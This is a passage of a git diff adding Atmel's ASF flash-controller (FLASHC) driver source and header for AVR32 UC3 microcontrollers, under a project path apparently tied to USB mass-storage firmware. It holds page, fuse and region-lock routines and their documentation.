the page buffer in order to prepare data for a flash page write. + flashc_clear_page_buffer(); + error_status |= flashc_error_status; + + // Loop in the page + for (page_pos=0; page_pos AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ) { // > 33MHz + // Set a wait-state + flashc_set_wait_state(1); + if (cpu_f_hz <= AVR32_FLASHC_FWS_1_MAX_FREQ) { // <= 66MHz and >33Mhz + // Disable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); + } else { // > 66Mhz + // Enable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + } + } else { // <= 33 MHz + // Disable wait-state + flashc_set_wait_state(0); + // Disable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); + } +} +#endif // UC3C device-specific implementation + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/flashc/flashc.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/flashc/flashc.h new file mode 100755 index 0000000..5490e69 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/flashc/flashc.h @@ -0,0 +1,1009 @@ +/** + * \file + * + * \brief FLASHC driver for AVR32 UC3. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + + +#ifndef _FLASHC_H_ +#define _FLASHC_H_ + +/** + * \defgroup group_avr32_drivers_flashc MEMORY - FLASHC - Flash Controller + * + * FLASHC interfaces a flash block with the 32-bit internal HSB bus. + * + * \{ + */ + +#include +#include +#include "compiler.h" + +//! Number of flash regions defined by the FLASHC. +#define AVR32_FLASHC_REGIONS (AVR32_FLASHC_FLASH_SIZE /\ + (AVR32_FLASHC_PAGES_PR_REGION * AVR32_FLASHC_PAGE_SIZE)) + + +/*! \name Flash Properties + */ +//! @{ + +/*! \brief Gets the size of the whole flash array. + * + * \return The size of the whole flash array in bytes. + */ +extern unsigned int flashc_get_flash_size(void); + +/*! \brief Gets the total number of pages in the flash array. + * + * \return The total number of pages in the flash array. + */ +extern unsigned int flashc_get_page_count(void); + +/*! \brief Gets the number of pages in each flash region. + * + * \return The number of pages in each flash region. + */ +extern unsigned int flashc_get_page_count_per_region(void); + +/*! \brief Gets the region number of a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return The region number of the specified page. + */ +extern unsigned int flashc_get_page_region(int page_number); + +/*! \brief Gets the number of the first page of a region. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * + * \return The number of the first page of the specified region. + */ +extern unsigned int flashc_get_region_first_page_number(unsigned int region); + +//! @} + + +/*! \name FLASHC Control + */ +//! @{ + +/*! \brief Gets the number of wait states of flash read accesses. + * + * \return The number of wait states of flash read accesses. + */ +extern unsigned int flashc_get_wait_state(void); + +/*! \brief Sets the number of wait states of flash read accesses. + * + * \param wait_state The number of wait states of flash read accesses: \c 0 to + * \c 1. + */ +extern void flashc_set_wait_state(unsigned int wait_state); + +/*! \brief Depending on the CPU frequency, set the wait states of flash read + * accesses. + * + * \param cpu_f_hz The CPU frequency + */ +extern void flashc_set_bus_freq(unsigned int cpu_f_hz); +/*! \brief Alias on the flashc_set_bus_freq() function. + * + * \param cpu_f_hz The CPU frequency + */ +#define flash_set_bus_freq(cpu_f_hz) flashc_set_bus_freq(cpu_f_hz) + +/*! \brief Tells whether the Flash Ready interrupt is enabled. + * + * \return Whether the Flash Ready interrupt is enabled. + */ +extern bool flashc_is_ready_int_enabled(void); + +/*! \brief Enables or disables the Flash Ready interrupt. + * + * \param enable Whether to enable the Flash Ready interrupt: \c true or + * \c false. + */ +extern void flashc_enable_ready_int(bool enable); + +/*! \brief Tells whether the Lock Error interrupt is enabled. + * + * \return Whether the Lock Error interrupt is enabled. + */ +extern bool flashc_is_lock_error_int_enabled(void); + +/*! \brief Enables or disables the Lock Error interrupt. + * + * \param enable Whether to enable the Lock Error interrupt: \c true or + * \c false. + */ +extern void flashc_enable_lock_error_int(bool enable); + +/*! \brief Tells whether the Programming Error interrupt is enabled. + * + * \return Whether the Programming Error interrupt is enabled. + */ +extern bool flashc_is_prog_error_int_enabled(void); + +/*! \brief Enables or disables the Programming Error interrupt. + * + * \param enable Whether to enable the Programming Error interrupt: \c true or + * \c false. + */ +extern void flashc_enable_prog_error_int(bool enable); + +//! @} + + +/*! \name FLASHC Status + */ +//! @{ + +/*! \brief Tells whether the FLASHC is ready to run a new command. + * + * \return Whether the FLASHC is ready to run a new command. + */ +extern bool flashc_is_ready(void); + +/*! \brief Waits actively until the FLASHC is ready to run a new command. + * + * This is the default function assigned to \ref flashc_wait_until_ready. + */ +extern void flashc_default_wait_until_ready(void); + +//! Pointer to the function used by the driver when it needs to wait until the +//! FLASHC is ready to run a new command. +//! The default function is \ref flashc_default_wait_until_ready. +//! The user may change this pointer to use another implementation. +extern void (*volatile flashc_wait_until_ready)(void); + +/*! \brief Tells whether a Lock Error has occurred during the last function + * called that issued one or more FLASHC commands. + * + * \return Whether a Lock Error has occurred during the last function called + * that issued one or more FLASHC commands. + */ +extern bool flashc_is_lock_error(void); + +/*! \brief Tells whether a Programming Error has occurred during the last + * function called that issued one or more FLASHC commands. + * + * \return Whether a Programming Error has occurred during the last function + * called that issued one or more FLASHC commands. + */ +extern bool flashc_is_programming_error(void); + +//! @} + + +/*! \name FLASHC Command Control + */ +//! @{ + +/*! \brief Gets the last issued FLASHC command. + * + * \return The last issued FLASHC command. + */ +extern unsigned int flashc_get_command(void); + +/*! \brief Gets the current FLASHC page number. + * + * \return The current FLASHC page number. + */ +extern unsigned int flashc_get_page_number(void); + +/*! \brief Issues a FLASHC command. + * + * \param command The command: \c AVR32_FLASHC_FCMD_CMD_x. + * \param page_number The page number to apply the command to: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: use this to apply the command to the current page number + * or if the command does not apply to any page number; + * \arg this argument may have other meanings according to the command. See + * the FLASHC chapter of the MCU datasheet. + * + * \warning A Lock Error is issued if the command violates the protection + * mechanism. + * + * \warning A Programming Error is issued if the command is invalid. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_issue_command(unsigned int command, int page_number); + +//! @} + + +/*! \name FLASHC Global Commands + */ +//! @{ + +/*! \brief Issues a No Operation command to the FLASHC. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_no_operation(void); + +/*! \brief Issues an Erase All command to the FLASHC. + * + * This command erases all bits in the flash array, the general-purpose fuse + * bits and the Security bit. The User page is not erased. + * + * This command also ensures that all volatile memories, such as register file + * and RAMs, are erased before the Security bit is erased, i.e. deactivated. + * + * \warning A Lock Error is issued if at least one region is locked or the + * bootloader protection is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern void flashc_erase_all(void); + +//! @} + + +/*! \name FLASHC Protection Mechanisms + */ +//! @{ + +/*! \brief Tells whether the Security bit is active. + * + * \return Whether the Security bit is active. + */ +extern bool flashc_is_security_bit_active(void); + +/*! \brief Activates the Security bit. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_activate_security_bit(void); + +/*! \brief Gets the bootloader protected size. + * + * \return The bootloader protected size in bytes. + */ +extern unsigned int flashc_get_bootloader_protected_size(void); + +/*! \brief Sets the bootloader protected size. + * + * \param bootprot_size The wanted bootloader protected size in bytes. If this + * size is not supported, the actual size will be the + * nearest greater available size or the maximal possible + * size if the requested size is too large. + * + * \return The actual bootloader protected size in bytes. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern unsigned int flashc_set_bootloader_protected_size(unsigned int bootprot_size); + +/*! \brief Tells whether external privileged fetch is locked. + * + * \return Whether external privileged fetch is locked. + */ +extern bool flashc_is_external_privileged_fetch_locked(void); + +/*! \brief Locks or unlocks external privileged fetch. + * + * \param lock Whether to lock external privileged fetch: \c true or \c false. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_external_privileged_fetch(bool lock); + +/*! \brief Tells whether the region of a page is locked. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return Whether the region of the specified page is locked. + */ +extern bool flashc_is_page_region_locked(int page_number); + +/*! \brief Tells whether a region is locked. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * + * \return Whether the specified region is locked. + */ +extern bool flashc_is_region_locked(unsigned int region); + +/*! \brief Locks or unlocks the region of a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * \param lock Whether to lock the region of the specified page: \c true or + * \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_page_region(int page_number, bool lock); + +/*! \brief Locks or unlocks a region. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * \param lock Whether to lock the specified region: \c true or \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_region(unsigned int region, bool lock); + +/*! \brief Locks or unlocks all regions. + * + * \param lock Whether to lock the regions: \c true or \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_all_regions(bool lock); + +//! @} + + +/*! \name Access to General-Purpose Fuses + */ +//! @{ + +/*! \brief Reads a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * + * \return The value of the specified general-purpose fuse bit. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern bool flashc_read_gp_fuse_bit(unsigned int gp_fuse_bit); + +/*! \brief Reads a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * + * \return The value of the specified general-purpose fuse bit-field. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern uint64_t flashc_read_gp_fuse_bitfield(unsigned int pos, unsigned int width); + +/*! \brief Reads a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * + * \return The value of the specified general-purpose fuse byte. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern uint8_t flashc_read_gp_fuse_byte(unsigned int gp_fuse_byte); + +/*! \brief Reads all general-purpose fuses. + * + * \return The value of all general-purpose fuses as a word. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern uint64_t flashc_read_all_gp_fuses(void); + +/*! \brief Erases a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern bool flashc_erase_gp_fuse_bit(unsigned int gp_fuse_bit, bool check); + +/*! \brief Erases a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern bool flashc_erase_gp_fuse_bitfield(unsigned int pos, unsigned int width, bool check); + +/*! \brief Erases a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern bool flashc_erase_gp_fuse_byte(unsigned int gp_fuse_byte, bool check); + +/*! \brief Erases all general-purpose fuses. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern bool flashc_erase_all_gp_fuses(bool check); + +/*! \brief Writes a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param value The value of the specified general-purpose fuse bit. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_bit(unsigned int gp_fuse_bit, bool value); + +/*! \brief Writes a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param value The value of the specified general-purpose fuse bit-field. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_bitfield(unsigned int pos, unsigned int width, uint64_t value); + +/*! \brief Writes a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param value The value of the specified general-purpose fuse byte. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_byte(unsigned int gp_fuse_byte, uint8_t value); + +/*! \brief Writes all general-purpose fuses. + * + * \param value The value of all general-purpose fuses as a word. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_all_gp_fuses(uint64_t value); + +/*! \brief Sets a general-purpose fuse bit with the appropriate erase and write + * operations. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param value The value of the specified general-purpose fuse bit. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_bit(unsigned int gp_fuse_bit, bool value); + +/*! \brief Sets a general-purpose fuse bit-field with the appropriate erase and + * write operations. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param value The value of the specified general-purpose fuse bit-field. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_bitfield(unsigned int pos, unsigned int width, uint64_t value); + +/*! \brief Sets a general-purpose fuse byte with the appropriate erase and write + * operations. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param value The value of the specified general-purpose fuse byte. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_byte(unsigned int gp_fuse_byte, uint8_t value); + +/*! \brief Sets all general-purpose fuses with the appropriate erase and write + * operations. + * + * \param value The value of all general-purpose fuses as a word. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_all_gp_fuses(uint64_t value); + +//! @} + + +/*! \name Access to Flash Pages + */ +//! @{ + +/*! \brief Clears the page buffer. + * + * This command resets all bits in the page buffer to one. Write accesses to the + * page buffer can only change page buffer bits from one to zero. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_clear_page_buffer(void); + +/*! \brief Tells whether the page to which the last Quick Page Read or Quick + * Page Read User Page command was applied was erased. + * + * \return Whether the page to which the last Quick Page Read or Quick Page Read + * User Page command was applied was erased. + */ +extern bool flashc_is_page_erased(void); + +/*! \brief Applies the Quick Page Read command to a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return Whether the specified page is erased. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern bool flashc_quick_page_read(int page_number); + +/*! \brief Erases a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the command is applied to a page belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern bool flashc_erase_page(int page_number, bool check); + +/*! \brief Erases all pages within the flash array. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if at least one region is locked or the + * bootloader protection is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern bool flashc_erase_all_pages(bool check); + +/*! \brief Writes a page from the page buffer. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \warning A Lock Error is issued if the command is applied to a page belonging + * to a locked region or to the bootloader protected area. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + */ +extern void flashc_write_page(int page_number); + +/*! \brief Issues a Quick Page Read User Page command to the FLASHC. + * + * \return Whether the User page is erased. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern bool flashc_quick_user_page_read(void); + +/*! \brief Erases the User page. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern bool flashc_erase_user_page(bool check); + +/*! \brief Writes the User page from the page buffer. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + */ +extern void flashc_write_user_page(void); + + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src source byte. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source byte. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset8(volatile void *dst, uint8_t src, size_t nbytes, bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source half-word. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source half-word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset16(volatile void *dst, uint16_t src, size_t nbytes, bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source word. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset32(volatile void *dst, uint32_t src, size_t nbytes, bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source double-word. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source double-word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset64(volatile void *dst, uint64_t src, size_t nbytes, bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source pattern. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source double-word. + * \param src_width \a src width in bits: 8, 16, 32 or 64. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +#define flashc_memset(dst, src, src_width, nbytes, erase) \ + TPASTE2(flashc_memset, src_width)((dst), (src), (nbytes), (erase)) + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the source pointed to by \a src. + * + * The destination areas that are not within the flash + * array or the User page are caught by an assert() operation. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Pointer to source data. + * \param nbytes Number of bytes to copy. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning If copying takes place between areas that overlap, the behavior is + * undefined. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memcpy(volatile void *dst, const void *src, size_t nbytes, bool erase); + +#if UC3C + +/*! \brief Depednding to the CPU frequency, set the wait states of flash read + * accesses and enable or disable the High speed read mode. + * + * \param cpu_f_hz The CPU frequency + */ +void flashc_set_flash_waitstate_and_readmode(unsigned long cpu_f_hz); +#endif // UC3C device-specific implementation + +//! @} + +/** + * \} + */ + +#endif // 